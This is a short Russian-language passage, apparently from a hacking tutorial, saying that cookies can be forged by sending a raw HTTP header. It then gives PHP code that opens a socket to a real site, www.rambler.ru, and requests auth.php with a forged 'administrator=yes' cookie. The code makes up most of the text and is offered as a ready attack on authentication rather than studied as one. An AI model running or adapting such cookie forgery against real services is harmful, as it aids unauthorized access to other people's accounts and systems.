Подделать cookies можно, отослав HTTP - заголовок.
Формат: Cookie: name1=value1; name2=value2;
Где name - имя, а value значение. <?php
$hostname = "www.rambler.ru";
$path = "auth.php";
// Устанавливаем соединение
$fp = fsockopen($hostname, 80, $errno, $errstr, 30);
// Проверка соединения
if (!$fp) echo "$errstr ($errno)<br />\n";
else
{
// Формируем заголовок
$headers = "GET $path HTTP/1.1\r\n";
$headers .= "Host: $hostname\r\n";
$headers .= "Cookie: name=deneil; administrator=yes;\r\n";
$headers .= "Connection: Close\r\n\r\n";
// Отправляем заголовок
fwrite($fp, $headers);
// Получаем ответ
while (!feof($fp))
{
$line .= fgets($fp, 1024);
}
fclose($fp);
}
echo $line;
?>